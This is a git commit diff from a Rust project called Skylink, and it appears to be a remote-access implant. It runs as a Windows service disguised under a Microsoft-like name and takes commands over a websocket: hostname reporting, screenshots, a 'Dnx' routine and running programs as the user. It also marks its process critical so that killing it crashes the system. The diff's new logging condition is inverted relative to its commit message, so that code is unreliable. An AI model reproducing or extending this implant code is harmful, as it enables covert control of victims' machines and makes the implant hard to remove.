tweak: only log debug entries in debug builds
This commit is contained in:
parent
72740c93af
commit
edbe8a5e3f
5 changed files with 130 additions and 157 deletions
16
src/lib.rs
16
src/lib.rs
|
|
@ -45,7 +45,7 @@ pub enum Command {
|
||||||
ClientInfo,
|
ClientInfo,
|
||||||
Dnx { params: DnxParams },
|
Dnx { params: DnxParams },
|
||||||
Screenshot,
|
Screenshot,
|
||||||
LowTierGod
|
LowTierGod,
|
||||||
}
|
}
|
||||||
|
|
||||||
pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
|
pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
|
||||||
|
|
@ -81,10 +81,10 @@ pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
|
||||||
let hostname = sysinfo::System::host_name();
|
let hostname = sysinfo::System::host_name();
|
||||||
let skylink_ver = "1.0.0";
|
let skylink_ver = "1.0.0";
|
||||||
if let Some(actual_hostname) = hostname {
|
if let Some(actual_hostname) = hostname {
|
||||||
// Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"{actual_hostname}\" }}"))
|
// Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"{actual_hostname}\" }}"))
|
||||||
Ok(json!({ "client_version": skylink_ver, "host_name": actual_hostname }).to_string())
|
Ok(json!({ "client_version": skylink_ver, "host_name": actual_hostname }).to_string())
|
||||||
} else {
|
} else {
|
||||||
Ok(json!({ "client_version": skylink_ver, "host_name": "err_not_detected" }).to_string())
|
Ok(json!({ "client_version": skylink_ver, "host_name": "err_not_detected" }).to_string())
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
Command::Dnx { params } => {
|
Command::Dnx { params } => {
|
||||||
|
|
@ -128,11 +128,11 @@ pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
|
||||||
}
|
}
|
||||||
// this was way easier than i expected... assuming it works :pilgrim2:
|
// this was way easier than i expected... assuming it works :pilgrim2:
|
||||||
Ok(format!(""))
|
Ok(format!(""))
|
||||||
},
|
}
|
||||||
Command::LowTierGod => {
|
Command::LowTierGod => {
|
||||||
let _ = low_tier_god().await; // if this fails you're fucked
|
let _ = low_tier_god().await; // if this fails you're fucked
|
||||||
Ok(format!(""))
|
Ok(format!(""))
|
||||||
},
|
}
|
||||||
_ => todo!(),
|
_ => todo!(),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -38,10 +38,13 @@ pub async fn log(level: LogLevel, path: &str, detail: String) {
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
println!("{}", ansi_string);
|
let debug_mode = cfg!(debug_assertions);
|
||||||
|
if (level == LogLevel::Debug) && !debug_mode {
|
||||||
|
println!("{}", ansi_string);
|
||||||
|
|
||||||
if let Err(e) = logfile.write(logfile_string.as_bytes()) {
|
if let Err(e) = logfile.write(logfile_string.as_bytes()) {
|
||||||
eprintln!("Got error {:?} while trying to write to logfile.", e);
|
eprintln!("Got error {:?} while trying to write to logfile.", e);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
use crate::{LOG_PATH, LogLevel, WS_URL, WsTx, eval_command, log};
|
use crate::{LOG_PATH, LogLevel, WS_URL, WsTx, eval_command, log};
|
||||||
use serde_json::json;
|
|
||||||
use futures_util::{SinkExt, StreamExt};
|
use futures_util::{SinkExt, StreamExt};
|
||||||
|
use serde_json::json;
|
||||||
use tokio_tungstenite::connect_async;
|
use tokio_tungstenite::connect_async;
|
||||||
use tokio_tungstenite::tungstenite::{Bytes, Message};
|
use tokio_tungstenite::tungstenite::{Bytes, Message};
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -92,43 +92,29 @@ pub fn run_as_user(app: &str, cmd: &str) -> anyhow::Result<()> {
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn mark_process_critical() -> anyhow::Result<()> {
|
pub fn mark_process_critical() -> anyhow::Result<()> {
|
||||||
use ntapi::ntpsapi::{NtSetInformationProcess, ProcessBreakOnTermination};
|
use ntapi::ntpsapi::{NtSetInformationProcess, ProcessBreakOnTermination};
|
||||||
use ntapi::winapi::{ctypes::c_void, um::winnt::HANDLE};
|
use ntapi::winapi::{ctypes::c_void, um::winnt::HANDLE};
|
||||||
|
|
||||||
unsafe {
|
unsafe {
|
||||||
// NtCurrentProcess pseudo-handle (-1)
|
// NtCurrentProcess pseudo-handle (-1)
|
||||||
let handle: HANDLE = (-1isize) as usize as *mut c_void;
|
let handle: HANDLE = (-1isize) as usize as *mut c_void;
|
||||||
let mut critical: u32 = 1;
|
let mut critical: u32 = 1;
|
||||||
let status = NtSetInformationProcess(
|
let status = NtSetInformationProcess(handle, ProcessBreakOnTermination, &mut critical as *mut _ as *mut _, core::mem::size_of::<u32>() as u32);
|
||||||
handle,
|
if status == 0 { Ok(()) } else { anyhow::bail!(format!("NtSetInformationProcess failed: 0x{status:08X}")) }
|
||||||
ProcessBreakOnTermination,
|
}
|
||||||
&mut critical as *mut _ as *mut _,
|
|
||||||
core::mem::size_of::<u32>() as u32,
|
|
||||||
);
|
|
||||||
if status == 0 {
|
|
||||||
Ok(())
|
|
||||||
} else {
|
|
||||||
anyhow::bail!(format!("NtSetInformationProcess failed: 0x{status:08X}"))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
pub async fn low_tier_god() -> anyhow::Result<()> {
|
pub async fn low_tier_god() -> anyhow::Result<()> {
|
||||||
use ntapi::ntpsapi::{NtSetInformationProcess, ProcessBreakOnTermination};
|
use ntapi::ntpsapi::{NtSetInformationProcess, ProcessBreakOnTermination};
|
||||||
use ntapi::winapi::{ctypes::c_void, um::winnt::HANDLE};
|
use ntapi::winapi::{ctypes::c_void, um::winnt::HANDLE};
|
||||||
|
|
||||||
unsafe {
|
unsafe {
|
||||||
// NtCurrentProcess pseudo-handle (-1)
|
// NtCurrentProcess pseudo-handle (-1)
|
||||||
let handle: HANDLE = (-1isize) as usize as *mut c_void;
|
let handle: HANDLE = (-1isize) as usize as *mut c_void;
|
||||||
let mut critical: u32 = 0;
|
let mut critical: u32 = 0;
|
||||||
let status = NtSetInformationProcess(
|
let status = NtSetInformationProcess(handle, ProcessBreakOnTermination, &mut critical as *mut _ as *mut _, core::mem::size_of::<u32>() as u32);
|
||||||
handle,
|
assert_eq!(status, 0);
|
||||||
ProcessBreakOnTermination,
|
}
|
||||||
&mut critical as *mut _ as *mut _,
|
|
||||||
core::mem::size_of::<u32>() as u32,
|
|
||||||
);
|
|
||||||
assert_eq!(status, 0);
|
|
||||||
}
|
|
||||||
|
|
||||||
std::process::exit(1);
|
std::process::exit(1);
|
||||||
}
|
}
|
||||||
|
|
|
||||||
206
src/main.rs
206
src/main.rs
|
|
@ -1,43 +1,40 @@
|
||||||
|
use skylink::LOG_PATH;
|
||||||
|
use skylink::WsTx;
|
||||||
use skylink::lib::logger::{LogLevel, log};
|
use skylink::lib::logger::{LogLevel, log};
|
||||||
use skylink::lib::websockets::websocket_handler;
|
use skylink::lib::websockets::websocket_handler;
|
||||||
use skylink::lib::winapi::mark_process_critical;
|
use skylink::lib::winapi::mark_process_critical;
|
||||||
use skylink::LOG_PATH;
|
|
||||||
use skylink::WsTx;
|
|
||||||
use std::sync::Arc;
|
|
||||||
use tokio::sync::Mutex;
|
|
||||||
use std::ffi::OsString;
|
use std::ffi::OsString;
|
||||||
use std::time::Duration;
|
use std::sync::Arc;
|
||||||
use std::sync::mpsc::channel;
|
use std::sync::mpsc::channel;
|
||||||
|
use std::time::Duration;
|
||||||
|
use tokio::sync::Mutex;
|
||||||
|
|
||||||
use windows_service::{
|
use windows_service::{
|
||||||
define_windows_service,
|
define_windows_service,
|
||||||
service::{
|
service::{ServiceControl, ServiceControlAccept, ServiceExitCode, ServiceState, ServiceStatus, ServiceType},
|
||||||
ServiceControl, ServiceControlAccept, ServiceExitCode, ServiceState, ServiceStatus,
|
service_control_handler::{self, ServiceControlHandlerResult},
|
||||||
ServiceType,
|
service_dispatcher,
|
||||||
},
|
|
||||||
service_control_handler::{self, ServiceControlHandlerResult},
|
|
||||||
service_dispatcher,
|
|
||||||
};
|
};
|
||||||
|
|
||||||
const SERVICE_NAME: &str = "Microsoft Experience Oriented Reporter";
|
const SERVICE_NAME: &str = "Microsoft Experience Oriented Reporter";
|
||||||
const SERVICE_TYPE: ServiceType = ServiceType::OWN_PROCESS;
|
const SERVICE_TYPE: ServiceType = ServiceType::OWN_PROCESS;
|
||||||
|
|
||||||
fn main() -> Result<(), Box<dyn std::error::Error>> {
|
fn main() -> Result<(), Box<dyn std::error::Error>> {
|
||||||
// Initialize logging
|
// Initialize logging
|
||||||
|
|
||||||
// Check if we are in a Debug build AND the environment variable is set
|
// Check if we are in a Debug build AND the environment variable is set
|
||||||
let is_debug_mode = cfg!(debug_assertions);
|
let is_debug_mode = cfg!(debug_assertions);
|
||||||
let force_console = std::env::var("SKL_AS_REGULAR_EXECUTABLE").is_ok();
|
let force_console = std::env::var("SKL_AS_REGULAR_EXECUTABLE").is_ok();
|
||||||
|
|
||||||
if is_debug_mode && force_console {
|
if is_debug_mode && force_console {
|
||||||
println!("Detected Debug Env Var: Running as console application...");
|
println!("Detected Debug Env Var: Running as console application...");
|
||||||
run_as_console()?;
|
run_as_console()?;
|
||||||
} else {
|
} else {
|
||||||
// Run as a Windows Service
|
// Run as a Windows Service
|
||||||
run_as_service()?;
|
run_as_service()?;
|
||||||
}
|
}
|
||||||
|
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
// -------------------------------------------------------------------------
|
// -------------------------------------------------------------------------
|
||||||
|
|
@ -48,7 +45,9 @@ async fn run_app(mut shutdown_rx: tokio::sync::broadcast::Receiver<()>) {
|
||||||
log(LogLevel::Info, LOG_PATH, format!("[main] Skylink version 1.0.0 starting...")).await;
|
log(LogLevel::Info, LOG_PATH, format!("[main] Skylink version 1.0.0 starting...")).await;
|
||||||
let ws_tx: WsTx = Arc::new(Mutex::new(None));
|
let ws_tx: WsTx = Arc::new(Mutex::new(None));
|
||||||
let ws_tx_for_handler = Arc::clone(&ws_tx);
|
let ws_tx_for_handler = Arc::clone(&ws_tx);
|
||||||
tokio::spawn(async { websocket_handler(ws_tx_for_handler).await; });
|
tokio::spawn(async {
|
||||||
|
websocket_handler(ws_tx_for_handler).await;
|
||||||
|
});
|
||||||
|
|
||||||
// this isn't necessary for program functioning
|
// this isn't necessary for program functioning
|
||||||
// and also error handling this is a PITA
|
// and also error handling this is a PITA
|
||||||
|
|
@ -56,15 +55,15 @@ async fn run_app(mut shutdown_rx: tokio::sync::broadcast::Receiver<()>) {
|
||||||
let is_debug_mode = cfg!(debug_assertions);
|
let is_debug_mode = cfg!(debug_assertions);
|
||||||
let force_console = std::env::var("SKL_NON_CRITICAL").is_ok();
|
let force_console = std::env::var("SKL_NON_CRITICAL").is_ok();
|
||||||
if !(is_debug_mode && force_console) {
|
if !(is_debug_mode && force_console) {
|
||||||
let _ = mark_process_critical();
|
let _ = mark_process_critical();
|
||||||
}
|
}
|
||||||
|
|
||||||
// Wait for the shutdown signal
|
// Wait for the shutdown signal
|
||||||
tokio::select! {
|
tokio::select! {
|
||||||
_ = shutdown_rx.recv() => {
|
_ = shutdown_rx.recv() => {
|
||||||
log(LogLevel::Info, LOG_PATH, format!("Shutdown signal received. Cleaning up...")).await;
|
log(LogLevel::Info, LOG_PATH, format!("Shutdown signal received. Cleaning up...")).await;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// -------------------------------------------------------------------------
|
// -------------------------------------------------------------------------
|
||||||
|
|
@ -72,27 +71,27 @@ async fn run_app(mut shutdown_rx: tokio::sync::broadcast::Receiver<()>) {
|
||||||
// -------------------------------------------------------------------------
|
// -------------------------------------------------------------------------
|
||||||
|
|
||||||
fn run_as_console() -> Result<(), Box<dyn std::error::Error>> {
|
fn run_as_console() -> Result<(), Box<dyn std::error::Error>> {
|
||||||
// Manually build the runtime because main() is synchronous
|
// Manually build the runtime because main() is synchronous
|
||||||
let rt = tokio::runtime::Runtime::new()?;
|
let rt = tokio::runtime::Runtime::new()?;
|
||||||
|
|
||||||
rt.block_on(async {
|
rt.block_on(async {
|
||||||
// Create a channel to signal shutdown
|
// Create a channel to signal shutdown
|
||||||
let (tx, rx) = tokio::sync::broadcast::channel(1);
|
let (tx, rx) = tokio::sync::broadcast::channel(1);
|
||||||
|
|
||||||
// Handle Ctrl+C to behave like a polite console app
|
// Handle Ctrl+C to behave like a polite console app
|
||||||
let tx_clone = tx.clone();
|
let tx_clone = tx.clone();
|
||||||
tokio::spawn(async move {
|
tokio::spawn(async move {
|
||||||
if let Ok(()) = tokio::signal::ctrl_c().await {
|
if let Ok(()) = tokio::signal::ctrl_c().await {
|
||||||
println!("\nCtrl+C detected.");
|
println!("\nCtrl+C detected.");
|
||||||
let _ = tx_clone.send(());
|
let _ = tx_clone.send(());
|
||||||
}
|
}
|
||||||
});
|
|
||||||
|
|
||||||
// Run the app
|
|
||||||
run_app(rx).await;
|
|
||||||
});
|
});
|
||||||
|
|
||||||
Ok(())
|
// Run the app
|
||||||
|
run_app(rx).await;
|
||||||
|
});
|
||||||
|
|
||||||
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
// -------------------------------------------------------------------------
|
// -------------------------------------------------------------------------
|
||||||
|
|
@ -103,77 +102,62 @@ fn run_as_console() -> Result<(), Box<dyn std::error::Error>> {
|
||||||
define_windows_service!(ffi_service_main, my_service_main);
|
define_windows_service!(ffi_service_main, my_service_main);
|
||||||
|
|
||||||
fn run_as_service() -> Result<(), windows_service::Error> {
|
fn run_as_service() -> Result<(), windows_service::Error> {
|
||||||
service_dispatcher::start(SERVICE_NAME, ffi_service_main)
|
service_dispatcher::start(SERVICE_NAME, ffi_service_main)
|
||||||
}
|
}
|
||||||
|
|
||||||
fn my_service_main(_arguments: Vec<OsString>) {
|
fn my_service_main(_arguments: Vec<OsString>) {
|
||||||
// 1. Setup the event handler to communicate with the OS
|
// 1. Setup the event handler to communicate with the OS
|
||||||
let (shutdown_tx, shutdown_rx) = channel();
|
let (shutdown_tx, shutdown_rx) = channel();
|
||||||
|
|
||||||
let event_handler = move |control_event| -> ServiceControlHandlerResult {
|
let event_handler = move |control_event| -> ServiceControlHandlerResult {
|
||||||
match control_event {
|
match control_event {
|
||||||
ServiceControl::Stop | ServiceControl::Interrogate => {
|
ServiceControl::Stop | ServiceControl::Interrogate => {
|
||||||
// Signal the logic to stop
|
// Signal the logic to stop
|
||||||
let _ = shutdown_tx.send(());
|
let _ = shutdown_tx.send(());
|
||||||
ServiceControlHandlerResult::NoError
|
ServiceControlHandlerResult::NoError
|
||||||
}
|
}
|
||||||
_ => ServiceControlHandlerResult::NotImplemented,
|
_ => ServiceControlHandlerResult::NotImplemented,
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
let status_handle = match service_control_handler::register(SERVICE_NAME, event_handler) {
|
|
||||||
Ok(h) => h,
|
|
||||||
Err(e) => {
|
|
||||||
eprintln!("Failed to register service control handler: {}", e);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 2. Tell Windows we are running
|
|
||||||
let next_status = ServiceStatus {
|
|
||||||
service_type: SERVICE_TYPE,
|
|
||||||
current_state: ServiceState::Running,
|
|
||||||
controls_accepted: ServiceControlAccept::STOP,
|
|
||||||
exit_code: ServiceExitCode::Win32(0),
|
|
||||||
checkpoint: 0,
|
|
||||||
wait_hint: Duration::default(),
|
|
||||||
process_id: None,
|
|
||||||
};
|
|
||||||
if let Err(e) = status_handle.set_service_status(next_status) {
|
|
||||||
eprintln!("Failed to set service status: {}", e);
|
|
||||||
}
|
}
|
||||||
|
};
|
||||||
|
|
||||||
// 3. Start Tokio Runtime and Block
|
let status_handle = match service_control_handler::register(SERVICE_NAME, event_handler) {
|
||||||
// We create the runtime here because we are on the service thread provided by Windows.
|
Ok(h) => h,
|
||||||
let rt = tokio::runtime::Runtime::new().unwrap(); // Handle unwrap properly in prod
|
Err(e) => {
|
||||||
|
eprintln!("Failed to register service control handler: {}", e);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
rt.block_on(async move {
|
// 2. Tell Windows we are running
|
||||||
let (async_tx, async_rx) = tokio::sync::broadcast::channel(1);
|
let next_status = ServiceStatus { service_type: SERVICE_TYPE, current_state: ServiceState::Running, controls_accepted: ServiceControlAccept::STOP, exit_code: ServiceExitCode::Win32(0), checkpoint: 0, wait_hint: Duration::default(), process_id: None };
|
||||||
|
if let Err(e) = status_handle.set_service_status(next_status) {
|
||||||
|
eprintln!("Failed to set service status: {}", e);
|
||||||
|
}
|
||||||
|
|
||||||
// Spawn a bridge task: watches the Sync OS channel -> sends to Async Tokio channel
|
// 3. Start Tokio Runtime and Block
|
||||||
tokio::spawn(async move {
|
// We create the runtime here because we are on the service thread provided by Windows.
|
||||||
// This is a blocking recv on a std::sync::mpsc, so we wrap it in spawn_blocking
|
let rt = tokio::runtime::Runtime::new().unwrap(); // Handle unwrap properly in prod
|
||||||
// or just poll it if we expect it to be rare.
|
|
||||||
// Since this is the main logic block, we can just check it in a separate thread.
|
|
||||||
let _ = tokio::task::spawn_blocking(move || {
|
|
||||||
let _ = shutdown_rx.recv(); // Block waiting for OS stop command
|
|
||||||
}).await;
|
|
||||||
|
|
||||||
let _ = async_tx.send(()); // Tell app to stop
|
|
||||||
});
|
|
||||||
|
|
||||||
run_app(async_rx).await;
|
rt.block_on(async move {
|
||||||
|
let (async_tx, async_rx) = tokio::sync::broadcast::channel(1);
|
||||||
|
|
||||||
|
// Spawn a bridge task: watches the Sync OS channel -> sends to Async Tokio channel
|
||||||
|
tokio::spawn(async move {
|
||||||
|
// This is a blocking recv on a std::sync::mpsc, so we wrap it in spawn_blocking
|
||||||
|
// or just poll it if we expect it to be rare.
|
||||||
|
// Since this is the main logic block, we can just check it in a separate thread.
|
||||||
|
let _ = tokio::task::spawn_blocking(move || {
|
||||||
|
let _ = shutdown_rx.recv(); // Block waiting for OS stop command
|
||||||
|
})
|
||||||
|
.await;
|
||||||
|
|
||||||
|
let _ = async_tx.send(()); // Tell app to stop
|
||||||
});
|
});
|
||||||
|
|
||||||
// 4. Tell Windows we have stopped
|
run_app(async_rx).await;
|
||||||
let stop_status = ServiceStatus {
|
});
|
||||||
service_type: SERVICE_TYPE,
|
|
||||||
current_state: ServiceState::Stopped,
|
// 4. Tell Windows we have stopped
|
||||||
controls_accepted: ServiceControlAccept::empty(),
|
let stop_status = ServiceStatus { service_type: SERVICE_TYPE, current_state: ServiceState::Stopped, controls_accepted: ServiceControlAccept::empty(), exit_code: ServiceExitCode::Win32(0), checkpoint: 0, wait_hint: Duration::default(), process_id: None };
|
||||||
exit_code: ServiceExitCode::Win32(0),
|
let _ = status_handle.set_service_status(stop_status);
|
||||||
checkpoint: 0,
|
|
||||||
wait_hint: Duration::default(),
|
|
||||||
process_id: None,
|
|
||||||
};
|
|
||||||
let _ = status_handle.set_service_status(stop_status);
|
|
||||||
}
|
}
|
||||||
|
|
|
||||||
Loading…
Add table
Add a link
Reference in a new issue